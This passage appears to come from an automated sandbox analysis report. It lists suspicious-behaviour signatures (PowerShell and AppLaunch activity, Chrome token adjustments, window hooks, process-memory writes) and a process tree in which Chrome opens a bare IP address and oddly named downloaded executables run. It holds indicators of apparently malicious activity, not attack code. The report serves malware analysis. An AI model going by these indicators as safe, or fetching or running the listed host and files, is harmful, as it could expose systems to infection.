N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Users\Admin\Downloads\ZTQ3MDM2.exe N/A
N/A N/A C:\Users\Admin\Downloads\YzlhMGI2.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 632 wrote to memory of 3260 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 3260 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 1920 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 3336 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 3336 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 632 wrote to memory of 2296 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe

Processes

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" "--simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT'" http://34.101.154.50

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb46e39758,0x7ffb46e39768,0x7ffb46e39778

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1796 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2232 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3108 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3128 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4776 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4936 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4768 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

